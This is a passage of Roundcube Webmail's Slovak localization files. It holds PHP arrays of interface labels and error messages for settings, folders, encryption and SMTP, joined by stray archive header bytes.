$labels['importdesc'] = 'Môžete nahrať kontakty z existujúceho adresára. <br/>Momentálne podporujeme import adries z formátu <a href="https://en.wikipedia.org/wiki/VCard">vCard</a> alebo CSV (údaje oddeľované čiarkou).';
$labels['importmapdesc'] = 'Skôr než budete pokračovať v importovaní údajov vo formáte CSV (údaje oddeľované čiarkou), potvrďte správnosť informácie o priradení polí.';
$labels['fieldnotmapped'] = 'Pole nie je priradené (neimportuje sa)';
$labels['skipheader'] = 'Neimportovať prvý riadok (hlavičky)';
$labels['done'] = 'Hotovo';
$labels['settingsfor'] = 'Nastavenia pre';
$labels['about'] = 'O systéme';
$labels['preferences'] = 'Nastavenia';
$labels['userpreferences'] = 'Používateľské nastavenia';
$labels['editpreferences'] = 'Upraviť používateľské nastavenia';
$labels['identities'] = 'Identity';
$labels['manageidentities'] = 'Spravovať identity';
$labels['newidentity'] = 'Vytvoriť novú identitu';
$labels['addidentity'] = 'Pridať identitu';
$labels['editidentity'] = 'Upraviť identitu';
$labels['identityencryption'] = 'Šifrovanie';
$labels['preferhtml'] = 'Zobraziť HTML';
$labels['defaultcharset'] = 'Predvolené kódovanie';
$labels['htmlmessage'] = 'HTML správa';
$labels['messagepart'] = 'Časť';
$labels['digitalsig'] = 'Digitálny podpis';
$labels['dateformat'] = 'Formát dátumu';
$labels['timeformat'] = 'Formát času';
$labels['prettydate'] = 'Krátke formáty dátumov';
$labels['setdefault'] = 'Nastaviť ako štandardné';
$labels['autodetect'] = 'Automaticky';
$labels['language'] = 'Jazyk';
$labels['timezone'] = 'Časová zóna';
$labels['pagesize'] = 'Počet záznamov na stránku';
$labels['signature'] = 'Podpis';
$labels['dstactive'] = 'Letný čas';
$labels['showinextwin'] = 'Otvoriť správu v novom okne';
$labels['composeextwin'] = 'Písať v novom okne';
$labels['htmleditor'] = 'Vytvárať HTML správy';
$labels['htmlonreply'] = 'len v odpovedi na HTML správu';
$labels['htmlonreplyandforward'] = 'pri odosielaní ďalej alebo pri odpovedi na HTML správu';
$labels['htmlsignature'] = 'HTML podpis';
$labels['showemail'] = 'Zobrazovať e-mailovú adresu so zobrazovaným menom';
$labels['previewpane'] = 'Zobraziť panel s náhľadom na správu';
$labels['skin'] = 'Vzhľad rozhrania';
$labels['logoutclear'] = 'Vyprázdniť kôš pri odhlásení';
$labels['logoutcompact'] = 'Zhustiť priečinok Doručená pošta pri odhlásení';
$labels['uisettings'] = 'Používateľské rozhranie';
$labels['serversettings'] = 'Nastavenia servera';
$labels['mailboxview'] = 'Zobrazenie schránky';
$labels['mdnrequests'] = 'Pri žiadosti o potvrdenie o doručení';
$labels['askuser'] = 'opýtať sa používateľa';
$labels['autosend'] = 'odoslať potvrdenie';
$labels['autosendknown'] = 'odoslať potvrdenie iba mojim kontaktom';
$labels['autosendknownignore'] = 'odoslať potvrdenie známym odosielateľom, inak ignorovať';
$labels['autosendtrusted'] = 'odoslať potvrdenie dôveryhodným odosielateľom, inak sa ma opýtať';
$labels['autosendtrustedignore'] = 'odoslať potvrdenie dôveryhodným odosielateľom, inak ignorovať';
$labels['ignorerequest'] = 'ignorovať požiadavku';
$labels['readwhendeleted'] = 'Označiť správu ako prečítanú pri jej vymazávaní';
$labels['flagfordeletion'] = 'Namiesto vymazania správy ju iba označiť ako vymazanú';
$labels['skipdeleted'] = 'Nezobrazovať vymazané správy';
$labels['deletealways'] = 'Vymazať správy, ak zlyhá ich presun do koša';
$labels['deletejunk'] = 'Hneď vymazávať správy v priečinku Nevyžiadaná pošta (spam)';
$labels['showremoteimages'] = 'Zobrazovať obrázky uložené mimo správy';
$labels['allowremoteresources'] = 'Povoliť vzdialené zdroje (obrázky, štýly)';
$labels['fromknownsenders'] = 'pri známych odosielateľoch';
$labels['fromtrustedsenders'] = 'od dôveryhodných odosielateľov';
$labels['frommycontacts'] = 'od mojich kontaktov';
$labels['always'] = 'vždy';
$labels['alwaysbutplain'] = 'vždy, okrem odpovedí na správy v čistom texte';
$labels['showinlineimages'] = 'Zobrazovať priložené obrázky pod správou';
$labels['autosavedraft'] = 'Automaticky uložiť koncept';
$labels['everynminutes'] = 'každých $n minút';
$labels['refreshinterval'] = 'Obnoviť (skontrolovať nové správy atď.)';
$labels['never'] = 'nikdy';
$labels['immediately'] = 'ihneď';
$labels['messagesdisplaying'] = 'Zobrazovanie správ';
$labels['messagescomposition'] = 'Vytváranie správ';
$labels['mimeparamfolding'] = 'Názvy príloh';
$labels['2231folding'] = 'Úplné RFC 2231 (Thunderbird)';
$labels['miscfolding'] = 'RFC 2047/2231 (MS Outlook)';
$labels['2047folding'] = 'Úplné RFC 2047 (iné)';
$labels['force7bit'] = 'Použiť kódovanie MIME pre 8-bitové znaky';
$labels['savelocalstorage'] = "Uložiť v lokálnom úložisku prehliadača (dočasne)";
$labels['advancedoptions'] = 'Rozšírené nastavenia';
$labels['toggleadvancedoptions'] = 'Prepnúť pokročilé nastavenia';
$labels['focusonnewmessage'] = 'Aktivovať okno prehliadača pri novej správe';
$labels['checkallfolders'] = 'Kontrolovať nové správy vo všetkých priečinkoch';
$labels['displaynext'] = 'Po vymazaní/presune zobraziť ďalší záznam v zozname';
$labels['defaultfont'] = 'Predvolené písmo pre HTML správu';
$labels['mainoptions'] = 'Hlavné nastavenia';
$labels['browseroptions'] = 'Nastavenia prehliadania';
$labels['section'] = 'Sekcia';
$labels['maintenance'] = 'Údržba';
$labels['newmessage'] = 'Nová správa';
$labels['signatureoptions'] = 'Nastavenia podpísania';
$labels['whenreplying'] = 'Pri odpovedi';
$labels['replyempty'] = 'necitovať pôvodnú správu';
$labels['replytopposting'] = 'začať odpoveď nad citovanou správou';
$labels['replytoppostingnoindent'] = 'začať odpoveď nad citovanou správou (bez odsadenia)';
$labels['replybottomposting'] = 'začať odpoveď pod citovanou správou';
$labels['replyremovesignature'] = 'Pri odpovedaní odstrániť zo správy pôvodný podpis';
$labels['autoaddsignature'] = 'Automaticky pridať podpis';
$labels['newmessageonly'] = 'iba k novým správam';
$labels['replyandforwardonly'] = 'iba k odpovediam a preposielaným správam';
$labels['insertsignature'] = 'Vložiť podpis';
$labels['sigbelow'] = 'Podpis umiestniť pod citovanú správu';
$labels['sigseparator'] = 'Vynútiť si štandardné oddeľovače v podpisoch';
$labels['automarkread'] = 'Označiť správy ako prečítané';
$labels['afternseconds'] = 'po $n sekundách';
$labels['reqmdn'] = 'Vždy vyžadovať potvrdenie o doručení';
$labels['reqdsn'] = 'Vždy vyžadovať oznámenie o stave doručenia';
$labels['replysamefolder'] = 'Umiestňovať odpovede do rovnakého priečinka ako pôvodnú správu';
$labels['defaultabook'] = 'Predvolený adresár kontaktov';
$labels['autocompletesingle'] = 'Vynechať alternatívne e-mailové adresy pri automatickom dopĺňaní';
$labels['listnamedisplay'] = 'Zobraziť kontakty ako';
$labels['contactformmode'] = 'Režim kontaktného formulára';
$labels['privatemode'] = 'Súkromný (doma)';
$labels['businessmode'] = 'Biznisový (práca)';
$labels['collectedaddresses'] = 'Zozbierané adresy';
$labels['collectedrecipients'] = 'Zozbieraní príjemcovia';
$labels['collectedrecipientsopt'] = 'Ukladať príjemcov odchádzajúcich e-mailov do';
$labels['collectedsendersopt'] = 'Ukladať dôveryhodných odosielateľov do';
$labels['trustedsenders'] = 'Dôveryhodní odosielatelia';
$labels['spellcheckbeforesend'] = 'Skontrolovať pravopis pred odoslaním správy';
$labels['spellcheckoptions'] = 'Nastavenia kontroly pravopisu';
$labels['spellcheckignoresyms'] = 'Ignorovať slová so symbolmi';
$labels['spellcheckignorenums'] = 'Ignorovať slová s číslami';
$labels['spellcheckignorecaps'] = 'Ignorovať slová písané iba veľkými písmenami';
$labels['addtodict'] = 'Pridať do slovníka';
$labels['mailtoprotohandler'] = 'Zaregistrovať priradenie pre odkazy typu „mailto:“';
$labels['standardwindows'] = 'S vyskakovacími oknami pracovať ako so štandardnými oknami';
$labels['forwardmode'] = 'Odosielanie správ ďalej';
$labels['inline'] = 'vo vnútri správy';
$labels['asattachment'] = 'ako príloha';
$labels['replyallmode'] = 'Predvolená akcia pre tlačidlo [Odpovedať všetkým]';
$labels['replyalldefault'] = 'odpovedať všetkým';
$labels['replyalllist'] = 'odpovedať len do mailing-listu (ak bol nájdený)';
$labels['allmessages'] = 'všetky správy';
$labels['olderxdays'] = 'staršie ako $x dní';
$labels['folder'] = 'Priečinok';
$labels['folders'] = 'Priečinky';
$labels['foldername'] = 'Názov priečinka';
$labels['subscribed'] = 'Odber aktívny';
$labels['messagecount'] = 'Správy';
$labels['create'] = 'Vytvoriť';
$labels['createfolder'] = 'Vytvoriť nový priečinok';
$labels['managefolders'] = 'Spravovať priečinky';
$labels['specialfolders'] = 'Špeciálne priečinky';
$labels['properties'] = 'Vlastnosti';
$labels['folderproperties'] = 'Vlastnosti priečinka';
$labels['parentfolder'] = 'Rodičovský priečinok';
$labels['location'] = 'Umiestnenie';
$labels['info'] = 'Informácia';
$labels['getfoldersize'] = 'Na zistenie veľkosti priečinka kliknite sem';
$labels['changesubscription'] = 'Na zmenu odberu kliknite sem';
$labels['foldertype'] = 'Typ priečinka';
$labels['personalfolder'] = 'Súkromný priečinok';
$labels['otherfolder'] = 'Iné priečinky používateľa';
$labels['sharedfolder'] = 'Verejný priečinok';
$labels['findfolders'] = 'Hľadať priečinky';
$labels['findcontacts'] = 'Nájsť kontakty';
$labels['findmail'] = 'Nájsť e-mailové správy';
$labels['namespace.personal'] = 'Osobné';
$labels['namespace.other'] = 'Iní používatelia';
$labels['namespace.shared'] = 'Zdieľané';
$labels['dualuselabel'] = 'Môže obsahovať len';
$labels['dualusemail'] = 'spr.';
$labels['dualusefolder'] = 'prieč.';
$labels['generate'] = 'Vygenerovať';
$labels['encryptioncreatekey'] = 'Vytvoriť nový pár kľúčov';
$labels['openmailvelopesettings'] = 'Otvoriť nastavenia Mailvelope';
$labels['encryptionprivkeysinmailvelope'] = 'Vo vašej súprave kľúčov Mailvelope máte uložených $nr zodpovedajúcich súkromných kľúčov.';
$labels['encryptionnoprivkeysinmailvelope'] = 'Pre túto identitu odosielateľa ešte nemáte v rozšírení Mailvelope uložený žiadny súkromný kľúč PGP. Chcete nejaký vytvoriť, aby bolo možné aktivovať posielanie zašifrovaných správ?';
$labels['encryption'] = 'Šifrovanie';
$labels['mailvelopeoptions'] = 'Možnosti Mailvelope';
$labels['mailvelopemainkeyring'] = 'Použiť hlavnú kľúčenku Mailvelope';
$labels['mailvelopenotfound'] = 'Vo vašom prehliadači nie je zapnuté/nainštalovať rozšírenie Mailvelope.';
$labels['sortby'] = 'Zoradiť podľa';
$labels['sortasc'] = 'Zoradiť vzostupne';
$labels['sortdesc'] = 'Zoradiť zostupne';
$labels['undo'] = 'Späť';
$labels['installedplugins'] = 'Nainštalované prídavné moduly';
$labels['plugin'] = 'Zásuvný modul';
$labels['version'] = 'Verzia';
$labels['source'] = 'Zdrojový kód';
$labels['destination'] = 'Cieľ';
$labels['license'] = 'Licencia';
$labels['support'] = 'Podpora';
$labels['savedsearches'] = 'Uložené vyhľadávania';
$labels['dateformatY'] = 'RRRR';
$labels['dateformaty'] = 'RR';
$labels['dateformatm'] = 'MM';
$labels['dateformatd'] = 'DD';
$labels['dateformatj'] = 'D';
$labels['dateformatn'] = 'M';
$labels['B'] = 'B';
$labels['KB'] = 'KB';
$labels['MB'] = 'MB';
$labels['GB'] = 'GB';
$labels['unicode'] = 'Unicode';
$labels['english'] = 'Angličtina';
$labels['westerneuropean'] = 'Západoeurópske';
$labels['easterneuropean'] = 'Východoeurópske';
$labels['southeasterneuropean'] = 'Juho-východná Európa';
$labels['baltic'] = 'Baltština';
$labels['cyrillic'] = 'Cyrilika';
$labels['arabic'] = 'Arabsky';
$labels['greek'] = 'Grécky';
$labels['hebrew'] = 'Hebrejsky';
$labels['turkish'] = 'Turecky';
$labels['nordic'] = 'Nórsky';
$labels['thai'] = 'Thajsky';
$labels['celtic'] = 'Keltština';
$labels['vietnamese'] = 'Vietnamčina';
$labels['japanese'] = 'Japonsky';
$labels['korean'] = 'Kórejsky';
$labels['chinese'] = 'Čínsky';
$labels['arialabeltopnav'] = 'Ovládanie okna';
$labels['arialabeltasknav'] = 'Úlohy aplikácie';
$labels['arialabeltoolbar'] = 'Panel nástrojov aplikácie';
$labels['arialabellistnav'] = 'Zoznam navigovania';
$labels['arialabelactivetask'] = 'Aktívna úloha';
$labels['arialabelmessagessearchfilter'] = 'Filter zoznamu e-mailov';
$labels['arialabelmailsearchform'] = 'Formulár pre vyhľadanie e-mailu';
$labels['arialabelcontactsearchform'] = 'Formulár pre vyhľadávanie kontaktov';
$labels['arialabelmailquicksearchbox'] = 'Vstup pre vyhľadávanie e-mailu';
$labels['arialabelquicksearchbox'] = 'Vstup pre vyhľadávanie';
$labels['arialabelfoldersearchfilter'] = 'Filter pre zoznam priečinkov';
$labels['arialabelfoldersearchform'] = 'Formulár pre vyhľadávanie priečinkov';
$labels['arialabelfolderlist'] = 'Výber priečinka s e-mailovými správami';
$labels['arialabelmessagelist'] = 'Zoznam e-mailových správ';
$labels['arialabelmailpreviewframe'] = 'Náhľad správy';
$labels['arialabelmailboxmenu'] = 'Menu akcií pre priečinok';
$labels['arialabellistselectmenu'] = 'Menu pre výber zoznamu';
$labels['arialabelthreadselectmenu'] = 'Menu pre zoznam vlákien';
$labels['arialabelmessagelistoptions'] = 'Nastavenia zobrazenia a triedenia zoznamu správ';
$labels['arialabelmailimportdialog'] = 'Dialóg pre import správy';
$labels['arialabelmessagenav'] = 'Navigácia správy';
$labels['arialabelmessagebody'] = 'Telo správy';
$labels['arialabelmessageactions'] = 'Akcie správy';
$labels['arialabelcontactquicksearch'] = 'Formulár pre vyhľadanie kontaktov';
$labels['arialabelcontactsearchbox'] = 'Vstup pre vyhľadávanie kontaktov';
$labels['arialabelmessageheaders'] = 'Hlavičky správ';
$labels['arialabelforwardingoptions'] = 'Nastavenia preposielania';
$labels['arialabelreplyalloptions'] = 'Nastavenia pre „Odpovedať všetkým“';
$labels['arialabelmoremessageactions'] = 'Viac akcií so správou';
$labels['arialabelmorecontactactions'] = 'Viac akcií pre kontakt';
$labels['arialabelmarkmessagesas'] = 'Označiť vybrané správy ako';
$labels['arialabelcomposeoptions'] = 'Nastavenia kompozície';
$labels['arialabelresponsesmenu'] = 'Menu pre preddefinované odpovede';
$labels['arialabelattachmentuploadform'] = 'Formulár pre odoslanie prílohy';
$labels['arialabelattachmentmenu'] = 'Nastavenia prílohy';
$labels['arialabelmailtomenu'] = 'Možnosti pre e-mailovú adresu';
$labels['arialabelattachmentpreview'] = 'Náhľad prílohy';
$labels['ariasummarycomposecontacts'] = 'Zoznam kontaktov a skupín pre výber príjemcov';
$labels['arialabelcontactexportoptions'] = 'Nastavenia exportu kontaktov';
$labels['arialabelabookgroupoptions'] = 'Nastavenia adresára/skupiny';
$labels['arialabelpreferencesform'] = 'Formulár s nastaveniami';
$labels['arialabelidentityeditfrom'] = 'Formulár pre úpravu identity';
$labels['arialabelresponseeditfrom'] = 'Formulár pre úpravu odpovede';
$labels['arialabelsearchterms'] = 'Vyhľadávanie položiek';
$labels['arialabeldropactionmenu'] = 'Menu akcií typu Ťahaj a pusť';
$labels['arialabelheadersmenu'] = 'Menu pre pridanie príjemcu (hlavičky)';
$labels['arialabelimagetools'] = 'Nástroje pre obrázok';
$labels['helplistnavigation'] = 'Zoznam navigovania pomocou klávesnice';
$labels['helplistkeyboardnavigation'] = "Šípky nahor/nadol: presunúť zvýraznenie/výber.
Medzerník: vybrať zvýraznený riadok.
Shift + nahor/nadol: vybrať ďalší riadok hore/dole.
Ctrl + medzerník: pridať zvýraznený riadok do výberu/odstrániť ho z výberu.";
$labels['helplistkeyboardnavmessages'] = "Šípky doprava/doľava: rozbaliť/zbaliť vlákno správy (len v režime pre vlákna).
Enter: otvoriť vybranú/zvýraznenú správu.
Delete: presunúť vybrané správy do koša.";
$labels['helplistkeyboardnavcontacts'] = "Enter: Otvoriť vybraný/zvýraznený kontakt.";
PK
h�\4_f�fJfJ'program/localization/sk_SK/messages.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/messages/
*/

$messages['errortitle']  = 'Vyskytla sa chyba!';
$messages['loginfailed']  = 'Prihlasovanie bolo neúspešné.';
$messages['cookiesdisabled'] = 'Váš internetový prehliadač nepodporuje cookies, ktoré sú potrebné na prihlásenie.';
$messages['sessionerror'] = 'Vaša relácia nie je platná alebo vypršala jej platnosť.';
$messages['cookiesmismatch'] = 'Bola zistená nezhoda cookie. Prosím vyčistite súbory cookies vo vašom prehliadači.';
$messages['storageerror'] = 'Nepodarilo sa spojiť s úložným serverom.';
$messages['servererror'] = 'Chyba servera!';
$messages['servererrormsg'] = 'Chyba servera: $msg';
$messages['accountlocked'] = 'Bolo vykonaných príliš veľa neúspešných pokusov o prihlásenie. Skúste to prosím neskôr.';
$messages['connerror'] = 'Chyba pri pripájaní (nepodarilo sa spojiť so serverom)!';
$messages['dberror'] = 'Chyba databázy!';
$messages['dbconnerror'] = 'Nemožno sa pripojiť k databáze!';
$messages['windowopenerror'] = 'Bolo zablokované vyskakovacie okno!';
$messages['requesttimedout'] = 'Čas na vykonanie požiadavky uplynul';
$messages['errorreadonly'] = 'Akciu nemožno vykonať. Priečinok je určený len na čítanie.';
$messages['errornoperm'] = 'Akciu nemožno vykonať. Prístup bol odmietnutý.';
$messages['erroroverquota'] = 'Akciu nemožno vykonať. Nie je dostatok voľného miesta.';
$messages['erroroverquotadelete'] = 'Nie je dostatok voľného miesta. Vymažte nejakú správu pomocou klávesov SHIFT+DEL.';
$messages['invalidrequest'] = 'Neplatná požiadavka! Neuložili sa žiadne údaje.';
$messages['invalidhost'] = 'Neplatný názov servera.';
$messages['nomessagesfound'] = 'V tomto priečinku nie je žiadna správa.';
$messages['loggedout'] = 'Relácia bola úspešne prerušená. Dovidenia!';
$messages['mailboxempty'] = 'Schránka je prázdna';
$messages['nomessages'] = 'Žiadne správy';
$messages['refreshing'] = 'Obnovuje sa...';
$messages['loading'] = 'Načítava sa...';
$messages['uploading'] = 'Nahráva sa súbor...';
$messages['attaching'] = 'Prikladá sa súbor...';
$messages['uploadingmany'] = 'Nahrávajú sa súbory...';
$messages['loadingdata'] = 'Načítavajú sa údaje...';
$messages['checkingmail'] = 'Kontrolujú sa nové správy...';
$messages['sendingmessage'] = 'Správa sa odosiela...';
$messages['messagesent'] = 'Správa bola úspešne odoslaná.';
$messages['savingmessage'] = 'Správa sa ukladá...';
$messages['messagesaved'] = 'Správa bola uložená ako koncept.';
$messages['successfullysaved'] = 'Ukladanie bolo úspešne dokončené.';
$messages['savingresponse'] = 'Ukladanie textu odpovede...';
$messages['deleteresponseconfirm'] = 'Naozaj chcete vymazať text odpovede?';
$messages['nocontactselected'] = 'Ešte ste nevybrali žiadny kontakt.';
$messages['addedsuccessfully'] = 'Kontakt bol pridaný do adresára.';
$messages['contactexists'] = 'Kontakt s takouto e-mailovou adresou už existuje.';
$messages['contactnameexists'] = 'Kontakt s takýmto menom už existuje.';
$messages['blockedimages'] = 'Kvôli ochrane vášho súkromia boli v tejto správe zablokované vzdialené obrázky.';
$messages['blockedresources'] = 'Kvôli ochrane vášho súkromia boli zablokované vzdialené zdroje údajov.';
$messages['suspiciousemail'] = 'Táto správa obsahuje podozrivé e-mailové adresy, ktoré môžu byť podvodné.';
$messages['bccemail'] = 'Správy odoslané ďalej obsahujú utajených príjemcov (skrytú kópiu).';
$messages['bouncehint'] = 'Správa sa odošle bez akýchkoľvek úprav, napríklad s použitím pôvodného tela, hlavičiek a príjemcov.';
$messages['encryptedmessage'] = 'Táto správa je zašifrovaná, a nie je možné ju zobraziť. Prepáčte!';
$messages['externalmessagedecryption'] = 'Táto správa je zašifrovaná a dešifrovať ju môžete pomocou rozšírenia vášho prehliadača.';
$messages['nopubkeyfor'] = 'Pre $email sa nenašiel žiadny platný verejný kľúč';
$messages['nopubkeyforsender'] = 'Pre vašu identitu odosielateľa sa nenašiel žiadny platný verejný kľúč. Chcete správu iba zašifrovať pre príjemcov?';
$messages['encryptnoattachments'] = 'Prílohy, ktoré ste už uložili na server, nie je možné zašifrovať. Prosím pridajte ich znovu, v editore pre šifrovanie.';
$messages['searchpubkeyservers'] = 'Chcete vyhľadať servery s verejným kľúčom pre chýbajúce kľúče?';
$messages['encryptpubkeysfound'] = 'Našli sa nasledujúce verejné kľúče:';
$messages['keyservererror'] = 'Nepodarilo sa získať kľúč zo servera pre kľúče.';
$messages['keyimportsuccess'] = 'Verejný kľúč $key bol úspešne importovaný do okruhu vašich kľúčov.';
$messages['nocontactsfound'] = 'Nenašli sa žiadne kontakty.';
$messages['contactnotfound'] = 'Požadovaný kontakt sa nenašiel.';
$messages['contactsearchonly'] = 'Ak chcete vidieť kontakty z vybraného adresára, musíte použiť vyhľadávací formulár.';
$messages['sendingfailed'] = 'Nepodarilo sa odoslať správu.';
$messages['senttooquickly'] = 'Počkajte $sec sekúnd pred odoslaním tejto správy.';
$messages['errorsavingsent'] = 'Počas ukladania odoslanej správy sa vyskytla chyba.';
$messages['errorsaving'] = 'Počas ukladania sa vyskytla chyba.';
$messages['errormoving'] = 'Správu/správy nemožno presunúť.';
$messages['errorcopying'] = 'Správu/správy nemožno skopírovať,';
$messages['errordeleting'] = 'Správu/správy nemožno vymazať.';
$messages['errormarking'] = 'Nemožno označiť správu/správy.';
$messages['alerttitle'] = 'Pozor';
$messages['confirmationtitle'] = 'Naozaj...';
$messages['deletecontactconfirm']  = 'Naozaj chcete vymazať vybrané kontakty?';
$messages['deletegroupconfirm']  = 'Naozaj chcete vymazať vybranú skupinu?';
$messages['deletemessagesconfirm'] = 'Naozaj chcete vymazať vybrané správy?';
$messages['deletefolderconfirm']  = 'Naozaj chcete vymazať tento priečinok?';
$messages['movefolderconfirm']  = 'Naozaj chcete presunúť tento priečinok?';
$messages['purgefolderconfirm']  = 'Naozaj chcete vyprázdniť tento priečinok?';
$messages['contactdeleting'] = 'Vymazávajú sa kontakty...';
$messages['groupdeleting'] = 'Vymazáva sa skupina...';
$messages['folderdeleting'] = 'Vymazáva sa priečinok ...';
$messages['foldermoving'] = 'Presúva sa priečinok...';
$messages['foldersubscribing'] = 'Prebieha prihlasovanie k priečinku...';
$messages['folderunsubscribing'] = 'Prebieha odhlasovanie z priečinka...';
$messages['formincomplete'] = 'Formulár nie je kompletne vyplnený.';
$messages['noemailwarning'] = 'Prosím zadajte platnú e-mailovú adresu.';
$messages['nonamewarning']  = 'Prosím zadajte meno.';
$messages['nopagesizewarning'] = 'Prosím zadajte počet záznamov na stranu.';
$messages['nosenderwarning'] = 'Prosím zadajte e-mailovú adresu odosielateľa.';
$messages['recipientsadded'] = 'Pridanie príjemcu/príjemcov bolo úspešné.';
$messages['norecipientwarning'] = 'Prosím zadajte aspoň jedného príjemcu.';
$messages['disclosedrecipwarning'] = 'Všetci používatelia navzájom uvidia svoje e-mailové adresy. Ak si to neželáte a chcete chrániť ich súkromie, použite pole Skrytá kópia.';
$messages['disclosedreciptitle'] = 'Priveľa verejných príjemcov';
$messages['nosubjectwarning']  = '"Predmet" správy je prázdny. Chcete ho teraz zadať?';
$messages['nosubjecttitle']  = 'Bez predmetu';
$messages['nobodywarning'] = 'Chcete odoslať správu bez textu?';
$messages['notsentwarning'] = 'Správa nebola odoslaná a obsahuje neuložené zmeny. Chcete vykonané zmeny zrušiť?';
$messages['restoresavedcomposedata'] = 'Našla sa staršia správa, ktorú ste napísali ale neodoslali.\n\nPredmet: $subject\nUložené: $date\n\nChcete túto správu obnoviť?';
$messages['nosearchname'] = 'Prosím zadajte meno alebo e-mailovú adresu kontaktu.';
$messages['notuploadedwarning'] = 'Ešte neboli nahrané všetky súbory. Prosím čakajte alebo nahrávanie zrušte.';
$messages['searchsuccessful'] = 'Nájdené správy: $nr.';
$messages['contactsearchsuccessful'] = 'Nájdené kontakty: $nr.';
$messages['searchnomatch'] = 'Hľadaný výraz sa nenašiel.';
$messages['searching'] = 'Vyhľadáva sa...';
$messages['checking'] = 'Kontroluje sa...';
$messages['stillsearching'] = 'Vyhľadávanie stále prebieha...';
$messages['nospellerrors'] = 'Pri kontrole pravopisu neboli nájdené chyby.';
$messages['folderdeleted'] = 'Priečinok bol úspešne vymazaný.';
$messages['foldersubscribed'] = 'Prihlásenie k priečinku bolo úspešné.';
$messages['folderunsubscribed'] = 'Odhlásenie z priečinka bolo úspešné.';
$messages['folderpurged'] = 'Priečinok bol úspešne vyprázdnený.';
$messages['folderexpunged'] = 'Priečinok bol úspešne skomprimovaný.';
$messages['deletedsuccessfully'] = 'Vymazanie bolo úspešné.';
$messages['converting'] = 'Odstraňuje sa formátovanie...';
$messages['messageopenerror'] = 'Správu nemožno načítať zo servera.';
$messages['filelinkerror'] = 'Nepodarilo sa priložiť súbor.';
$messages['fileuploaderror'] = 'Nahrávanie súboru bolo neúspešné.';
$messages['csvfilemismatch'] = 'Import viacerých súborov CSV s rôznymi poliami nie je podporovaný.';
$messages['filesizeerror'] = 'Nahraný súbor prekročil maximálnu veľkosť $size.';
$messages['filecounterror'] = 'Naraz je možné vykonať upload max. $count súborov.';
$messages['msgsizeerror'] = 'Nepodarilo sa pripojiť súbor. Bola prekročená max. veľkosť správy ($size).';
$messages['msgsizeerrorfwd'] = 'Došlo k prekročeniu maximálnej veľkosti správy ($size). Počet správ, ktoré neboli pripojené: $num.';
$messages['copysuccess'] = 'Počet úspešne skopírovaných kontaktov: $nr.';
$messages['movesuccess'] = 'Počet úspešne presunutých kontaktov: $nr.';
$messages['copyerror'] = 'Kontakty nemožno kopírovať.';
$messages['moveerror'] = 'Kontakty nemožno presúvať.';
$messages['sourceisreadonly'] = 'Tento zdroj adries je určený len na čítanie.';
$messages['errorsavingcontact'] = 'Zmeny nebolo možné uložiť.';
$messages['movingmessage'] = 'Prebieha presúvanie správ(y)...';
$messages['copyingmessage'] = 'Prebieha kopírovanie správ(y)...';
$messages['copyingcontact'] = 'Prebieha kopírovanie kontaktov...';
$messages['movingcontact'] = 'Presúvanie kontaktov...';
$messages['deletingmessage'] = 'Prebieha vymazávanie správ(y)...';
$messages['markingmessage'] = 'Prebieha označovanie správ(y)...';
$messages['addingmember'] = 'Prebieha pridávanie kontaktov do skupiny...';
$messages['removingmember'] = 'Prebieha odstraňovanie kontaktov zo skupiny...';
$messages['receiptsent'] = 'Potvrdenie o prečítaní bolo odoslané.';
$messages['errorsendingreceipt'] = 'Potvrdenie nemožno odoslať.';
$messages['deleteidentityconfirm'] = 'Naozaj chcete vymazať túto identitu?';
$messages['nodeletelastidentity'] = 'Túto identitu nemožno vymazať, pretože je posledná.';
$messages['forbiddencharacter'] = 'Názov priečinka obsahuje nepovolený znak.';
$messages['selectimportfile'] = 'Zvoľte súbor, ktorý chcete importovať na server.';
$messages['addresswriterror'] = 'Do vybraného adresára nie je možné zapisovať údaje.';
$messages['contactaddedtogroup'] = 'Kontakty boli úspešne pridané do tejto skupiny.';
$messages['contactremovedfromgroup'] = 'Kontakty boli úspešne odstránené z tejto skupiny.';
$messages['nogroupassignmentschanged'] = 'Priradenia do skupín sa nezmenili.';
$messages['importwait'] = 'Prebieha importovanie, prosím čakajte...';
$messages['importformaterror'] = 'Importovanie nebolo úspešné! Nahraný súbor nie je platným súborom údajov pre importovanie.';
$messages['importconfirm'] = '<b>Počet úspešne naimportovaných kontaktov: $inserted</b>';
$messages['importconfirmskipped'] = '<b>Počet preskočených existujúcich záznamov: $skipped</b>';
$messages['importmessagesuccess'] = 'Počet úspešne naimportovaných správ: $nr';
$messages['importmessageerror'] = 'Importovanie bolo neúspešné! Odoslaný súbor nie je platným súborom pre importovanie';
$messages['opnotpermitted'] = 'Táto operácia nie je povolená!';
$messages['nofromaddress'] = 'Vo vybranej identite chýba e-mailová adresa.';
$messages['editorwarning'] = 'Prepnutie druhu editora môže spôsobiť stratu formátovania. Naozaj chcete pokračovať?';
$messages['httpreceivedencrypterror'] = 'Vyskytla sa vážna chyba v konfigurácii. Ihneď kontaktujte administrátora. <b>Vašu správu nemožno odoslať.</b>';
$messages['smtpconnerror'] = 'Chyba SMTP ($code): Neúspešné pripojenie k serveru.';
$messages['smtpautherror'] = 'Chyba SMTP ($code): Neúspešná autentifikácia.';
$messages['smtpfromerror'] = 'Chyba SMTP ($code): Nemožno nastaviť odosielateľa "$from" ($msg).';
$messages['smtptoerror'] = 'Chyba SMTP ($code): Nemožno pridať príjemcu "$to" ($msg).';
$messages['smtprecipientserror'] = 'Chyba SMTP: Nemožno spracovať zoznam príjemcov.';
$messages['smtputf8error'] = 'Chyba SMTP: server nepodporuje Unicode v e-mailovej adrese.';
$messages['smtpsizeerror'] = 'Chyba SMTP: veľkosť správy presahuje limit servera ($limit)';
$messages['smtperror'] = 'Chyba SMTP: $msg';
$messages['emailformaterror'] = 'Neplatná e-mailová adresa: $email';
$messages['toomanyrecipients'] = 'Príliš veľa príjemcov. Zredukujte počet príjemcov na $max.';
$messages['maxgroupmembersreached'] = 'Počet členov skupiny prekračuje maximum: $max';
$messages['internalerror'] = 'Došlo k internej chybe systému. Prosím skúste to ešte raz.';
$messages['contactdelerror'] = 'Nemožno vymazať kontakt(y).';
$messages['contactdeleted'] = 'Kontakty boli úspešne vymazané.';
$messages['contactrestoreerror'] = 'Nemožno obnoviť vymazané kontakty.';
